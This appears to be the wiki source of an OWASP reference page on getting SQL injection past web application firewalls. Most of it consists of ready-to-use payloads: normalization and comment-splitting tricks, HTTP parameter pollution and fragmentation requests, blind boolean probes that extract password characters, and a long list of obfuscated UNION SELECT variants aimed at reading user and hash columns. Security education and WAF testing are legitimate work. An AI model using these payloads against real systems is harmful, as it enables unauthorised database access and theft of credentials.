View source for SQL Injection Bypassing WAF

 __NOTOC__
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== SQLi ==
A [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. 
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

== SQL Injection – Basic Concepts ==
There are two types of SQL Injection
<pre>
• SQL Injection into a String/Char parameter
  Example: SELECT * from table where example = 'Example'

• SQL Injection into a Numeric parameter
  Example: SELECT * from table where id = 123
</pre>

# Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions.

<pre>
• A vulnerable request can get into Insert, Update, Delete, etc.
  Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'
</pre>

# Blind SQL Injection
<pre>
  Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
</pre>

# Exploitation features for various DBMSs
<pre>
  Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
  Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
</pre>

'''Bypassing WAF: SQL Injection - Normalization Method'''
<br>
Example Number (1) of a vulnerability in the function of request Normalization.
<br>
• The following request doesn’t allow anyone to conduct an attack
  /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request
  will be successfully performed
  /?id=1/*union*/union/*select*/select+1,2,3/*

• After being processed by WAF, the request will become
  index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source.<br>

Example Number (2) of a vulnerability in the function of request Normalization.
<br>
• Similarly, the following request doesn’t allow anyone to conduct an attack
  /?id=1+union+select+1,2,3/*

• If there is a corresponding vulnerability in the WAF, this request will be successfully performed
  /?id=1+un/**/ion+sel/**/ect+1,2,3--

• The SQL request will become
  SELECT * from table where id =1 union select 1,2,3--

''Instead of construction /**/, any symbol sequence that WAF cuts off can be used (e.g., #####, %00).''

''The given example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string).''

''''Using HTTP Parameter Pollution (HPP)''''

• The following request doesn’t allow anyone to conduct an attack
  /?id=1;select+1,2,3+from+users+where+id=1--

• This request will be successfully performed using HPP
  /?id=1;select+1&id=2,3+from+users+where+id=1--

''Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked.''<br>
''[http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf OWASP EU09 Luca Carettoni, Stefano diPaola].''

[[File:Sqli-HPP.png]]

'''Using HTTP Parameter Pollution (HPP)'''
<br>

• Vulnerable code
  SQL=" select key from table where id= "+Request.QueryString("id")

• This request is successfully performed using the HPP technique
  /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

• The SQL request becomes select key from table where
  id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

'''ByPassing WAF: SQL Injection – HPF'''<br>
Using HTTP Parameter Fragmentation (HPF)

• Vulnerable code example
  Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
  Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

• The following request doesn’t allow anyone to conduct an attack
  /?a=1+union+select+1,2/*
• These requests may be successfully performed using HPF
  /?a=1+union/*&b=*/select+1,2
  /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
• The SQL requests become
  select * from table where a=1 union/* and b=*/select 1,2
  select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

'''Bypassing WAF: Blind SQL Injection'''<br>
Using logical requests AND/OR<br>
• The following requests allow one to conduct a successful attack for many WAFs
  /?id=1+OR+0x50=0x50
  /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

<i>Negation and inequality signs (!=, <>, <, >) can be used instead of the equality one – It is amazing, but many WAFs miss it!</i>

It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms.<br>
<i>
substring() -> mid(), substr()<br>
ascii() -> hex(), bin()<br>
benchmark() -> sleep()
</i>
<br>

<u>Wide variety of logical requests.</u><br>
and 1<br>
or 1<br>
and 1=1<br>
and 2<3<br>
and 'a'='a'<br>
and 'a'<>'b'<br>
and char(32)=' '<br>
and 3<=2<br>
and 5<=>4<br>
and 5<=>5<br>
and 5 is null<br>
or 5 is not null<br>
....<br>
<b>An example of various request notations with the same meaning.</b>
<br>
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'<br>
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a<br>
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')<br>
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'<br>
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'<br>
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'<br>
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42<br>
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42<br>
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1<br>
select user from mysql.user where user = 'user' OR position(0x2a in password)=1<br>
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1<br>
<b>Known:<br></b>
substring((select 'password'),1,1) = 0x70<br>
substr((select 'password'),1,1) = 0x70<br>
mid((select 'password'),1,1) = 0x70<br>
<b>New:</b><br>
strcmp(left('password',1), 0x69) = 1<br>
strcmp(left('password',1), 0x70) = 0<br>
strcmp(left('password',1), 0x71) = -1<br>
STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first , argument is smaller than the second one, and 1 otherwise.
<br>
<br>
<b>An example of signature bypass.</b><br>
The following request gets to WAF signature<br>
 /?id=1+union+(select+1,2+from+users)
But sometimes, the signatures used can be bypassed<br>
 /?id=1+union+(select+'xz'from+xxx)
 /?id=(1)union(select(1),mid(hash,1,32)from(users))
 /?id=1+union+(select'1',concat(login,hash)from+users)
 /?id=(1)union(((((((select(1),hex(hash)from(users))))))))
 /?id=(1)or(0x50=0x50)
<br>
<b>An SQL Injection attack can successfully bypass the WAF , and be conducted in all following cases:</b><br>
• Vulnerabilities in the functions of WAF request normalization.<br>
• Application of HPP and HPF techniques.<br>
• Bypassing filter rules (signatures).<br>
• Vulnerability exploitation by the method of blind SQL Injection.<br>
• Attacking the application operating logics (and/or)<br>
<br>
<b>WAF Bypassing Methods.</b>
<br>

/*!%55NiOn*/ /*!%53eLEct*/

%55nion(%53elect 1,2,3)-- -

+union+distinct+select+

+union+distinctROW+select+

/**//*!12345UNION SELECT*//**/

/**//*!50000UNION SELECT*//**/

/**/UNION/**//*!50000SELECT*//**/

/*!50000UniON SeLeCt*/

union /*!50000%53elect*/

+#uNiOn+#sEleCt

+#1q%0AuNiOn all#qa%0A#%0AsEleCt

/*!%55NiOn*/ /*!%53eLEct*/

/*!u%6eion*/ /*!se%6cect*/

+un/**/ion+se/**/lect

uni%0bon+se%0blect

%2f**%2funion%2f**%2fselect

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

REVERSE(noinu)+REVERSE(tceles)

/*--*/union/*--*/select/*--*/

union (/*!/**/ SeleCT */ 1,2,3)

/*!union*/+/*!select*/

union+/*!select*/

/**/union/**/select/**/

/**/uNIon/**/sEleCt/**/

/**//*!union*//**//*!select*//**/

/*!uNIOn*/ /*!SelECt*/

+union+distinct+select+

+union+distinctROW+select+
<br>
<hr>
''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www.owasp.org/index.php/Talk:DhirajMishra Mail Down] and Be a Part of SQLi Contributor.''

== Contributor ==
<insert/>
<br>
[[Category:Injection]]